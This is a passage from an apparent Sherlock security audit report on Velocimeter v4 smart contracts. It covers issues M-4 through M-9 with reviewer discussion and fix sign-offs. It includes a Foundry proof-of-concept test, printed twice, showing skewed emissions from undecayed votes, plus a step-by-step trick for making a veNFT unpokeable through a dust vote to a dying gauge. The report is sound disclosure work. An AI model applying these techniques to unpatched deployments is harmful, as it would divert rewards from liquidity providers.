The Lead Senior Watson signed off on the fix.

Issue M-4: Voting power does not decay when calculating shares of flow emissions if the user does not vote again.

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/171

Found by

4gontuk, AMOW, Audinarey, Nyx, dandan, mike-watson, sonny2k

Summary

Voting power does not decay when calculating shares of flow emissions earned by a pool/gauge, if the user does not vote again. The votes are still counted, but assigned too much power.

Vulnerability Detail

The documentation linked in the README states that voting power should decay linearly based on time to unlock. However, this decay is not taken into account when calculating shares of flow emissions in `Voter._updateFor()` if the user does not call `Voter.vote` again. Their votes are still counted, but with the weights unchanged.

This leads to an unfair distribution of weekly emissions and a loss of funds for the liquidity providers who do not get their fair share.

Impact

Liquidity providers does not get their fair share of weekly emissions.

Proof of Concept

Copy this to a new file anywhere within `v4-contracts/test` and run it with `forge test --match-contract "NoVoteNoDecay"`

Note: In this example, Bob votes for the same pool twice, to clearly show that the rewards are skewed. Hopefully it is clear from the description above and the code snippets below, that the result is the same, if he changes his vote to another pool/other pools.

```
pragma solidity ^0.8.0;

```

```
import "forge-std/Test.sol";
import "lib/solmate/src/tokens/ERC20.sol";
import "lib/solmate/src/tokens/WETH.sol";
import "contracts/factories/PairFactory.sol";
import "contracts/factories/GaugeFactoryV4.sol";
import "contracts/factories/BribeFactory.sol";
import "contracts/Router.sol";
import "contracts/VotingEscrow.sol";
import "contracts/Voter.sol";
import "contracts/Pair.sol";
import "contracts/GaugeV4.sol";
import "contracts/Flow.sol";
import "contracts/RewardsDistributorV2.sol";
import "contracts/Minter.sol";
import "contracts/OptionTokenV4.sol";
import "contracts/interfaces/IERC20.sol";

contract Token is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol, _decimals) {}

    function mint(address to, uint amount) public {
        _mint(to, amount);
    }
}

contract NoVoteNoDecayTest is Test {
    address DEPLOYER = address(uint160(uint(keccak256("DEPLOYER"))));
    address ALICE = address(uint160(uint(keccak256("ALICE"))));
    address BOB = address(uint160(uint(keccak256("BOB"))));

    Flow flow;
    OptionTokenV4 oFlow;
    WETH weth;
    Pair flowWethPair;

    Token tokenA;
    Token tokenB;

    Pair pairA;
    Pair pairB;

    GaugeV4 gaugeA;
    GaugeV4 gaugeB;
```

```
PairFactory pairFactory;
Router router;
VotingEscrow votingEscrow;
Voter voter;
Minter minter;

function setUp() public {
    vm.deal(DEPLOYER, 100 ether);
    vm.deal(ALICE, 100 ether);
    vm.deal(BOB, 100 ether);

    vm.startPrank(DEPLOYER);

    flow = new Flow(DEPLOYER, 1e21);
    weth = new WETH();

    pairFactory = new PairFactory();
    GaugeFactoryV4 gaugeFactory = new GaugeFactoryV4();
    router = new Router(address(pairFactory), address(weth));

    _addFlowWethLiquidity(1e18, DEPLOYER);

    flowWethPair = Pair(
        pairFactory.getPair(address(flow), address(weth), false)
    );

    votingEscrow = new VotingEscrow(
        address(flow),
        address(flowWethPair),
        address(0),
        address(0)
    );

    voter = new Voter(
        address(votingEscrow),
        address(pairFactory),
        address(gaugeFactory),
        address(new BribeFactory()),
        address(0)
    );

    votingEscrow.setVoter(address(voter));
    pairFactory.setVoter(address(voter));

    RewardsDistributorV2 rewardsDistributorFlow = new RewardsDistributorV2(
        address(votingEscrow),
        address(flow)
    );

    minter = new Minter(
        address(voter),
        address(votingEscrow),
        address(rewardsDistributorFlow)
    );

    rewardsDistributorFlow.setDepositor(address(minter));

    address[] memory whitelistedTokens = new address[](1);
    whitelistedTokens[0] = address(flow);
    voter.initialize(whitelistedTokens, address(minter));

    flow.setMinter(address(minter));
    minter.startActivePeriod();

    oFlow = new OptionTokenV4(
        "Option to buy Flow",
        "oFlow",
        DEPLOYER,
        address(flow),
        DEPLOYER,
        address(voter),
        address(router),
        true,
        false,
        false,
        0
    );

    oFlow.setPairAndPaymentToken(flowWethPair, address(weth));
    oFlow.grantRole(oFlow.ADMIN_ROLE(), address(gaugeFactory));

    gaugeFactory.setOFlow(address(oFlow));

    tokenA = new Token("Token A", "A", 18);
    tokenB = new Token("Token B", "B", 18);

    tokenA.mint(ALICE, 1e19);
    tokenB.mint(BOB, 1e19);

    pairA = Pair(
        pairFactory.createPair(address(flow), address(tokenA), false)
    );
```

```
        pairB = Pair(
            pairFactory.createPair(address(flow), address(tokenB), false)
        );

        gaugeA = GaugeV4(voter.createGauge(address(pairA), 0));
        gaugeB = GaugeV4(voter.createGauge(address(pairB), 0));

        flow.transfer(ALICE, 1e20);
        flow.transfer(BOB, 1e20);

        vm.stopPrank();
    }

    function _addFlowWethLiquidity(uint amount, address to) internal {
        flow.approve(address(router), amount);
        router.addLiquidityETH{value: amount}(
            address(flow),
            false,
            amount,
            0,
            0,
            to,
            block.timestamp
        );
    }

    function _addFlowWethLiquidityAndMaxLock(uint amount, address to) internal {
        _addFlowWethLiquidity(1e18, to);
        flowWethPair.approve(address(votingEscrow), 1e18);
        votingEscrow.create_lock(1e18, 52 weeks);
    }

    function testNoVoteNoDecay() public {
        // Alice and Bob both lock 1e18 lp tokens for 52 weeks
        vm.startPrank(ALICE);
        _addFlowWethLiquidityAndMaxLock(1e18, ALICE);
        vm.stopPrank();

        vm.startPrank(BOB);
        _addFlowWethLiquidityAndMaxLock(1e18, BOB);
        vm.stopPrank();

        // Alice owns token 1
        assertEq(votingEscrow.ownerOf(1), ALICE);
        // Bob owns token 2
        assertEq(votingEscrow.ownerOf(2), BOB);
        vm.warp(block.timestamp + 1 weeks);

        address[] memory alicePools = new address[](1);
        address[] memory bobPools = new address[](1);
        uint[] memory weights = new uint[](1);
        alicePools[0] = address(pairA);
        bobPools[0] = address(pairB);
        weights[0] = 1;

        // Alice votes for pairA
        vm.prank(ALICE);
        voter.vote(1, alicePools, weights);

        // Bob votes for pairB
        vm.prank(BOB);
        voter.vote(2, bobPools, weights);

        vm.warp(block.timestamp + 1 weeks);
        voter.distribute();

        // Both gauges receive the same share of emissions
        assertEq(
            flow.balanceOf(address(gaugeA)),
            flow.balanceOf(address(gaugeB))
        );

        // Bob votes again
        vm.prank(BOB);
        voter.vote(2, bobPools, weights);

        (int128 aliceLockedAmount, uint aliceLockedEnd) = votingEscrow.locked(
            1
        );
        (int128 bobLockedAmount, uint bobLockedEnd) = votingEscrow.locked(2);

        // They both still have the same amount of locked lp tokens with the
↪   same lock duration
        assertEq(aliceLockedAmount, bobLockedAmount);
        assertEq(aliceLockedEnd, bobLockedEnd);

        vm.warp(block.timestamp + 1 weeks);
        voter.distribute();

        // gaugeA receives a larger amount of emissions, as only Bob's voting
↪   power has decayed
        assertGt(
            flow.balanceOf(address(gaugeA)),
            flow.balanceOf(address(gaugeB)) + 1e19 // adding 1e19 to emphasize,
↪  that it is not just a rounding error
        );
    }
}
```

Code Snippet

`Voter.vote()` calls `Voter._vote`, which updates `weights[_pool]`. This is where the calculation of the voting power based on time to unlock happens.

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Voter.sol#L287-L292

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Voter.sol#L249-L285

`Voter._updateFor()` uses `weights[_pool]` to calculate the share of emissions earned by the pool/gauge. The user's contribution to `weights[_pool]` remains unchanged until the user calls `Voter.reset` or `Voter.vote`.

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Voter.sol#L517-L534

Tool used

Manual Review

Recommendation

Either

1. Count votes per epoch, so users are forced to vote again every week.
2. Calculate shares of emissions similarly to the logic in `RewardsDistributorV2` using `bias` and `slope`.

Discussion

nevillehuang

request poc,

Likely invalid, wouldn't anybody/admin simply poke user votes at anytime to update?

Sponsor comments:

> poke is not required for rewards distributors as it is using snapshots and have decay calculated there

sherlock-admin4

PoC requested from @dantastisk

Requests remaining: **26**

dantastisk

The sponsor comment is correct for weth rewarded from exercising oFlow and flow rewarded from emissions to the flow/weth gauge.

This issue, however, is talking about the oFlow emitted to all other gauges, and these are NOT handled by a reward distributor, but are distributed to the gauges directly from the Voter contract. I am sorry if this was not clear.

As for your question @nevillehuang, poking is not permissionless, and can only be done by the owner themselves, an address approved by the owner or the admins.

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Voter.sol#L234-L235

There is no mention anywhere of the admins poking on behalf of users. This could be a possible solution to the problem, but it would have to be done right before epoch change as users would not be able to change their votes in the same epoch. I would still recommend one of my proposed solutions over this one.

There is a coded PoC in the original submission:

```
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "lib/solmate/src/tokens/ERC20.sol";
import "lib/solmate/src/tokens/WETH.sol";
import "contracts/factories/PairFactory.sol";
import "contracts/factories/GaugeFactoryV4.sol";
import "contracts/factories/BribeFactory.sol";
import "contracts/Router.sol";
import "contracts/VotingEscrow.sol";
import "contracts/Voter.sol";
import "contracts/Pair.sol";
import "contracts/GaugeV4.sol";
import "contracts/Flow.sol";
import "contracts/RewardsDistributorV2.sol";
import "contracts/Minter.sol";
import "contracts/OptionTokenV4.sol";
import "contracts/interfaces/IERC20.sol";
```

```
contract Token is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol, _decimals) {}

    function mint(address to, uint amount) public {
        _mint(to, amount);
    }
}

contract NoVoteNoDecayTest is Test {
    address DEPLOYER = address(uint160(uint(keccak256("DEPLOYER"))));
    address ALICE = address(uint160(uint(keccak256("ALICE"))));
    address BOB = address(uint160(uint(keccak256("BOB"))));

    Flow flow;
    OptionTokenV4 oFlow;
    WETH weth;
    Pair flowWethPair;

    Token tokenA;
    Token tokenB;

    Pair pairA;
    Pair pairB;

    GaugeV4 gaugeA;
    GaugeV4 gaugeB;

    PairFactory pairFactory;
    Router router;
    VotingEscrow votingEscrow;
    Voter voter;
    Minter minter;

    function setUp() public {
        vm.deal(DEPLOYER, 100 ether);
        vm.deal(ALICE, 100 ether);
        vm.deal(BOB, 100 ether);

        vm.startPrank(DEPLOYER);

        flow = new Flow(DEPLOYER, 1e21);
        weth = new WETH();
        pairFactory = new PairFactory();
        GaugeFactoryV4 gaugeFactory = new GaugeFactoryV4();
        router = new Router(address(pairFactory), address(weth));

        _addFlowWethLiquidity(1e18, DEPLOYER);

        flowWethPair = Pair(
            pairFactory.getPair(address(flow), address(weth), false)
        );

        votingEscrow = new VotingEscrow(
            address(flow),
            address(flowWethPair),
            address(0),
            address(0)
        );

        voter = new Voter(
            address(votingEscrow),
            address(pairFactory),
            address(gaugeFactory),
            address(new BribeFactory()),
            address(0)
        );

        votingEscrow.setVoter(address(voter));
        pairFactory.setVoter(address(voter));

        RewardsDistributorV2 rewardsDistributorFlow = new
↪   RewardsDistributorV2(
            address(votingEscrow),
            address(flow)
        );

        minter = new Minter(
            address(voter),
            address(votingEscrow),
            address(rewardsDistributorFlow)
        );

        rewardsDistributorFlow.setDepositor(address(minter));

        address[] memory whitelistedTokens = new address[](1);
        whitelistedTokens[0] = address(flow);
        voter.initialize(whitelistedTokens, address(minter));

        flow.setMinter(address(minter));
        minter.startActivePeriod();

        oFlow = new OptionTokenV4(
            "Option to buy Flow",
            "oFlow",
            DEPLOYER,
            address(flow),
            DEPLOYER,
            address(voter),
            address(router),
            true,
            false,
            false,
            0
        );

        oFlow.setPairAndPaymentToken(flowWethPair, address(weth));
        oFlow.grantRole(oFlow.ADMIN_ROLE(), address(gaugeFactory));

        gaugeFactory.setOFlow(address(oFlow));

        tokenA = new Token("Token A", "A", 18);
        tokenB = new Token("Token B", "B", 18);

        tokenA.mint(ALICE, 1e19);
        tokenB.mint(BOB, 1e19);

        pairA = Pair(
            pairFactory.createPair(address(flow), address(tokenA), false)
        );

        pairB = Pair(
            pairFactory.createPair(address(flow), address(tokenB), false)
        );

        gaugeA = GaugeV4(voter.createGauge(address(pairA), 0));
        gaugeB = GaugeV4(voter.createGauge(address(pairB), 0));

        flow.transfer(ALICE, 1e20);
        flow.transfer(BOB, 1e20);

        vm.stopPrank();
    }

    function _addFlowWethLiquidity(uint amount, address to) internal {
        flow.approve(address(router), amount);
        router.addLiquidityETH{value: amount}(
            address(flow),
            false,
            amount,
            0,
            0,
            to,
            block.timestamp
        );
    }

    function _addFlowWethLiquidityAndMaxLock(uint amount, address to)
↪   internal {
        _addFlowWethLiquidity(1e18, to);
        flowWethPair.approve(address(votingEscrow), 1e18);
        votingEscrow.create_lock(1e18, 52 weeks);
    }

    function testNoVoteNoDecay() public {
        // Alice and Bob both lock 1e18 lp tokens for 52 weeks
        vm.startPrank(ALICE);
        _addFlowWethLiquidityAndMaxLock(1e18, ALICE);
        vm.stopPrank();

        vm.startPrank(BOB);
        _addFlowWethLiquidityAndMaxLock(1e18, BOB);
        vm.stopPrank();

        // Alice owns token 1
        assertEq(votingEscrow.ownerOf(1), ALICE);
        // Bob owns token 2
        assertEq(votingEscrow.ownerOf(2), BOB);

        vm.warp(block.timestamp + 1 weeks);

        address[] memory alicePools = new address[](1);
        address[] memory bobPools = new address[](1);
        uint[] memory weights = new uint[](1);
        alicePools[0] = address(pairA);
        bobPools[0] = address(pairB);
        weights[0] = 1;

        // Alice votes for pairA
        vm.prank(ALICE);
        voter.vote(1, alicePools, weights);

        // Bob votes for pairB
        vm.prank(BOB);
        voter.vote(2, bobPools, weights);

        vm.warp(block.timestamp + 1 weeks);
        voter.distribute();

        // Both gauges receive the same share of emissions
        assertEq(
            flow.balanceOf(address(gaugeA)),
            flow.balanceOf(address(gaugeB))
        );

        // Bob votes again
        vm.prank(BOB);
        voter.vote(2, bobPools, weights);

        (int128 aliceLockedAmount, uint aliceLockedEnd) =
↪   votingEscrow.locked(
            1
        );
        (int128 bobLockedAmount, uint bobLockedEnd) =
↪   votingEscrow.locked(2);

        // They both still have the same amount of locked lp tokens with
↪   the same lock duration
        assertEq(aliceLockedAmount, bobLockedAmount);
        assertEq(aliceLockedEnd, bobLockedEnd);

        vm.warp(block.timestamp + 1 weeks);
        voter.distribute();

        // gaugeA receives a larger amount of emissions, as only Bob's
↪   voting power has decayed
        assertGt(
            flow.balanceOf(address(gaugeA)),
            flow.balanceOf(address(gaugeB)) + 1e19 // adding 1e19 to
↪   emphasize, that it is not just a rounding error
        );
    }
}
```

This PoC shows that already after 1 week the emissions are skewed in favor of gaugeA. If you wish, I can extend it to show that after 52 weeks, gaugeA would receive 52 times the amount of oFlow as gaugeB, despite both ostensibly receiving the same amount of voting power.

I would also like to add that I believe at least some of the duplicates are incorrectly marked as such.

For example https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/138 and https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/588 only discusses the reward distributors, which are not affected by this, as mentioned in the sponsor comment.

nevillehuang

@dantastisk Could you point me to where is it indicated that oFlow tokens will be emitted as reward tokens to other gauges? My understanding is oFlow will only be minted directly in gauges, not transferred, and if other oTokens are to be supported, new gauges will be created

CC: @dawiddrzala Could you verify if my understanding is correct?

dantastisk

@nevillehuang Every epoch Voter.distribute (permissionlessly) gets called for every gauge. This calls Minter.update_period and the first call to this every epoch will calculate the amount of weekly emissions, mint this amount in flow and transfer it to the Voter contract.

`Voter.distribute` then calls Voter._updateFor with the gauge address to calculate the share of the weekly emission earned by the gauge. This amount is then transferred to the gauge through a call to `IGauge.notifyRewardAmount`. ProxyGauge is used for the weth/flow gauge, GaugeV4 is used for all other gauges. The weth/flow gauge then forwards this amount to the flow rewardDistributor, where it can be claimed.

For all other gauges the reward is claimed directly on the gauge by calling GaugeV4.getReward. This function mints oFlow for the liquidity provider by transferring the flow received from the Voter contract.

So, you are correct that oFlow will be minted in the gauge, but the amount minted is equal to the amount of flow received from the Voter contract.

0xklapouchy

@nevillehuang

Invalid issue.

It is mitigated by the `poke()` function. (It should be permissionless, but even if controlled by an admin, this is a way to decay voting power.)

Only valid issues are those indicating how the `poke()` function can be DoSed. Therefore, #55, #208, and its duplicates.

Audinarey

> @nevillehuang

> Invalid issue.
>
> It is mitigated by the `poke()` function. (It should be permissionless, but even if controlled by an admin, this is a way to decay voting power.)
>
> Only valid issues are those indicating how the `poke()` function can be DoSed. Therefore, #55, #208, and its duplicates.

@0xklapouchy I think you have made this comment on the wrong issue.

Please crosscheck

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/21

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-5: User can make their `veNFT` unpokeable by voting for a to-be-killed gauge

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/208

Found by

bughuntoor, eeyore

Summary

Vulnerability Detail

In order to understand the impact of the issue, we need to first understand why poke is critical to the system. When users vote for a pool of their choice, they contribute with the current balance of their veNFT. As the veNFT balance is linearly decaying, this results in possible outdated votes. For example: if a user has voted with a veNFT which has 10 weeks until unlock_time and 9 weeks have passed without anyone poking or revoting the veNFT, it will still be contributing with the balance from 9 weeks ago, despite the current balance being 10x less.

For this reason poking is introduced, so if a NFT has not been updated in a long time, admins can do it (usually in other protocols like Velodrome, poking is unrestricted and anyone can do it to make it fair for all users)

A user can make their `veNFT` unpokeable in the following way:

1. Gauge is known that it will soon be killed
2. User votes most of their weight to the pool they'd like and a dust amount to the to-be-killed gauge.
3. As soon as the gauge is killed, user's `veNFT` becomes unpokeable due to the following check in `_vote`:

```
if (isGauge[_gauge]) {
    require(isAlive[_gauge], "gauge already dead");
```

Impact

User's gauge of choice will receive more emissions than supposed to. User will receive more bribes than supposed to.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L266

Tool used

Manual Review

Recommendation

If gauge is killed, instead of reverting, `continue`

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Velocimeter/v4-contracts/pull/21

spacegliderrrr

Fix looks good. Function now does not revert in case the gauge is killed.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-6: Rewards supplied to a gauge, prior to its first depositor will be permanently lost.

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/243

Found by

bughuntoor

Summary

Rewards supplied to a gauge, prior to its first depositor will be permanently lost.

Vulnerability Detail

Every week, gauges receive rewards based on their pool weight, within the Voter contract.

```
function distribute(address _gauge) public lock {
    IMinter(minter).update_period();
    _updateFor(_gauge); // should set claimable to 0 if killed
    uint _claimable = claimable[_gauge];
    if (_claimable > IGauge(_gauge).left(base) && _claimable / DURATION > 0) {
        claimable[_gauge] = 0;
        if((_claimable * 1e18) / currentEpochRewardAmount >
 ↪  minShareForActiveGauge) {
            activeGaugeNumber += 1;
        }

        IGauge(_gauge).notifyRewardAmount(base, _claimable);
        emit DistributeReward(msg.sender, _gauge, _claimable);
    }
}
```

The problem is that any rewards sent to the gauge prior to its first depositor will remain permanently stuck. Given that rewards are sent automatically, the likelihood of such occurrence is significantly higher

Impact

Loss of funds

SHERLOCK

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L563

Tool used

Manual Review

Recommendation

Revert in case current supply is 0.

Discussion

nevillehuang

@dawiddrzala Could you assist in verifying if this issue is valid? I initially thought it was invalid because it is unrealistic to deposit rewards when there is no depositors. However, given distribute is permissionless, could this be an issue?

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Velocimeter/v4-contracts/pull/23

Audinarey

@WangSecurity

> This impact alone I believe is low severity, I don't see it as a "loss of funds" or a "loss of yield".
>
> ...As I've said it's not a loss of funds because no one should get those rewards, including the protocol.

you mentioned here about a week ago that this is a low. How come this is a medium in this case as the scenario is about the same?

cc: @nevillehuang @cvetanovv

spaceglideerrrr

There is loss of funds - tokens are stuck and no once can retrieve them. The tokens hold monetary value, therefore this is loss of funds.

Given that distribution happens both automatically and in a permissionless way, the likelihood of the vulnerability scales exponentially. Issue should remain as is.

WangSecurity

I agree with @spacegliderrrr here. The reward distribution on Velocimeter is automatic, while on Kwenta it required an admin to send the rewards.

Additionally, on the issue you mentioned, the problem was that the owner would send rewards before anyone stakes, which is admin mistake and we should assume it wouldn't happen. I didn't mention it initially because I understood it a bit later when the discussion on Kwenta stopped. Also, the issue required for all the stakers to withdraw from the contract. Here, the distribution is automatic and doesn't require any mistakes.

Also, for a detailed answer on Kwenta, look at the discussion under issue 94 where Watsons explained why in the context of Kwenta it was even better to keep these funds in the contract.

Hence, I agree it should remain as it is in the context of Velocimeter.

spacegliderrrr

Fix looks good. `notifyRewardAmount` now checks that `totalSupply > 0`

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-7: Incorrect calculation of TWAP in OptionTokenV4.getTimeWeightedAveragePrice() function.

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/298

Found by

eeyore

Summary

The average price returned by `OptionTokenV4.getTimeWeightedAveragePrice()` can be up to 30 minutes outdated and does not reflect the current Token price.

Vulnerability Detail

In the `getTimeWeightedAveragePrice()` function, the average price is calculated using the last `X` known price observations from the `Pair` contract. However, this approach has a flaw because it does not consider the current price, which could be as much as 30 minutes old.

Consider a scenario where the price of the Token significantly increases during this 30-minute window. The resulting maximum discount might not adequately cover the percentage increase in price. This could lead to the protocol failing to collect proper fees when exercising the Tokens.

Impact

The use of an outdated TWAP price could result in losses for the protocol or users.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L372-L388 https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L222-L246

Tool used

Manual Review

Recommendation

To address this issue, incorporating also the current price retrieved from `Pair.current()` function:

```
function getTimeWeightedAveragePrice(uint256 _amount) public view returns (uint256) {
    uint256[] memory amtsOut = IPair(pair).prices(
        underlyingToken,
        _amount,
        twapPoints
    );
    uint256 len = amtsOut.length;
    uint256 summedAmount;

    for (uint256 i = 0; i < len; i++) {
        summedAmount += amtsOut[i];
    }

+    summedAmount += IPair(pair).current(underlyingToken, _amount);

-    return summedAmount / twapPoints;
+    return (summedAmount / twapPoints) + 1;
}
```

Discussion

nevillehuang

Invalid, user can simply call `sync()` in pair contract to update the latest prices before exercising options

0xklapouchy

Escalate.

sync() will not work, price can be outdated up to 30 min:

```
File: Pair.sol
        timeElapsed = blockTimestamp - _point.timestamp; // compare the last observation with current timestamp, if greater than 30 minutes, record a new event
        if (timeElapsed > periodSize) {
            observations.push(Observation(blockTimestamp, reserve0CumulativeLast, reserve1CumulativeLast));
        }
```

Observation point will only be added when `timeElapsed > periodSize` and `periodSize == 1800` (30min)

sherlock-admin3

> Escalate.
>
> sync() will not work, price can be outdated up to 30 min:
>
> ```
> File: Pair.sol
>             timeElapsed = blockTimestamp - _point.timestamp; // compare
> ↪  the last observation with current timestamp, if greater than 30
> ↪  minutes, record a new event
>             if (timeElapsed > periodSize) {
>                 observations.push(Observation(blockTimestamp,
> ↪  reserve0CumulativeLast, reserve1CumulativeLast));
>             }
> ```
>
> Observation point will only be added when `timeElapsed > periodSize` and `periodSize == 1800` (30min)

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

Hi @spaceglidererrr @dawiddrzala I recall us discussing a similar/or this issue that resulted in me invalidating the issue but I can't seem to find where, could you double check this issue? I think it was related to issue #354

spaceglidererrr

@nevillehuang that's a different issue. This issue basically means that instead of getting TWAP of the last 2 hours, it may get it up to 30min delayed (getting the TWAP of 2h30m ago to 30m ago).

I believe this should be a valid solo Medium

nevillehuang

@spaceglidererrr Got it thanks seems valid for now, I will double check again and come to a more definite conclusion

cvetanovv

I agree with the escalation and think it can be a valid Medium.

Watson has shown how the `getTimeWeightedAveragePrice()` function calculates an outdated price up to 30 minutes. An outdated TWAP could result in losses for the protocol or its users because the calculated price may not reflect the current market conditions.

Planning to accept the escalation and make this issue a Medium severity.

dawiddrzala

good point we are going to add the current price to the twap price

WangSecurity

Result: Medium Unique

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- 0xklapouchy: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/22

spacegliderrrr

Fix looks good. `TWAP` now includes current prices too.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-8: `Voter.replaceFactory()` and `Voter.addFactory()` functions are broken.

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/301

Found by

dany.armstrong90, eeyore, jah

Summary

The `Voter.replaceFactory()` and `Voter.addFactory()` functions are broken due to invalid validation.

Vulnerability Detail

1. In the `addFactory()` function, the line `require(!isFactory[_pairFactory], 'factory true');` is missing.
2. In the `replaceFactory()` function, the `isFactory` and `isGaugeFactory` checks are incorrect:

```
require(isFactory[_pairFactory], 'factory false'); // <=== should be !isFactory
require(isGaugeFactory[_gaugeFactory], 'g.fact false'); // <=== should be
↪  !isGaugeFactory
```

These issues lead to the invariant being broken, allowing multiple instances of a factory or gauge to be pushed to the `factories` and `gaugeFactories` arrays.

Impact

Broken code. DoS when calling `Voter.createGauge()`.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L155-L185

Tool used

Manual Review

Recommendation

1. Add the `require(!isFactory[_pairFactory], 'factory true');` validation to the `addFactory()` function.
2. Fix the checks in the `replaceFactory()` function:

```
-        require(isFactory[_pairFactory], 'factory false');
+        require(!isFactory[_pairFactory], 'factory true');
-        require(isGaugeFactory[_gaugeFactory], 'g.fact false');
+        require(!isGaugeFactory[_gaugeFactory], 'g.fact true');
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Velocimeter/v4-contracts/pull/19

spaceglidérrrr

Fix looks good.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-9: The circulating_supply() of the Minter contract may revert, resulting in the inability of the Minter to periodically emit Flow tokens

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/663

Found by

Honour, bughuntoor, neon2835

Summary

The circulating_supply() of the Minter contract may revert, causing the Minter to fail to periodically emit Flow tokens, leading to systemic DOS risks.

Vulnerability Detail

The code for the Minter contract to emit Flow tokens weekly is in the update_period() function:

```
function update_period() external returns (uint) {
    uint _period = active_period;
    if (block.timestamp >= _period + WEEK && initializer == address(0)) { //
↪   only trigger if new week
        _period = (block.timestamp / WEEK) * WEEK;
        active_period = _period;
        uint256 weekly = weekly_emission();

        uint _teamEmissions = (teamRate * weekly) /
            (PRECISION - teamRate);
        uint _required =  weekly + _teamEmissions;
        uint _balanceOf = _flow.balanceOf(address(this));
        if (_balanceOf < _required) {
            _flow.mint(address(this), _required - _balanceOf);
        }

        require(_flow.transfer(teamEmissions, _teamEmissions));

        _checkpointRewardsDistributors();

        _flow.approve(address(_voter), weekly);
        _voter.notifyRewardAmount(weekly);
        emit Mint(msg.sender, weekly, circulating_supply());
    }
    return _period;
}
```

Please pay attention to this statement of the update_period function:

```
emit Mint(msg.sender, weekly, circulating_supply());
```

If the value of `_flow.totalSupply()` is less than the value of `_ve.totalSupply()` in the circulating_supply() function, a revert will occur, preventing the normal emission of flow tokens during the update_period.

This situation is possible. When the `flow-weth` pool has good liquidity and the price of flow token is relatively high, the minting amount of `lpToken` may exceed the total supply of flow token. When there are enough lpToken staked to veEscrow contract , `_ve.totalSupply()` will be greater than `_flow.totalSupply()`, which is a potential systemic DOS risk that may occur.

Impact

The circulating_supply() of the Minter contract may revert, resulting in the inability of the Minter to periodically emit Flow tokens, posing a systemic DOS risk.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Minter.sol#L93-L95

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Minter.sol#L134

Tool used

Manual Review

Recommendation

```
function circulating_supply() public view returns (uint) {
-    return _flow.totalSupply() - _ve.totalSupply();
-    return _flow.totalSupply() > _ve.totalSupply() ? _flow.totalSupply() -
 ↪  _ve.totalSupply() : 0 ;
}
```

Discussion

nevillehuang

request poc

> In theory, the lpToken is obtained by locking flow and wethr(or oflow and weth) so the lptoken already needs previously minted flow tokens, and top of that _ve.totalSupply is the actual voting power at current time(which means all lpToken value locked is decaying with time). So I see that the ve.totalSupply will have top be always smaller than flow token's totalSupply.

sherlock-admin4

PoC requested from @oxneon

Requests remaining: **19**

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/15

spaceglidererrr

Fix looks good. `circulating_supply` now simply returns the total supply of Flow

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.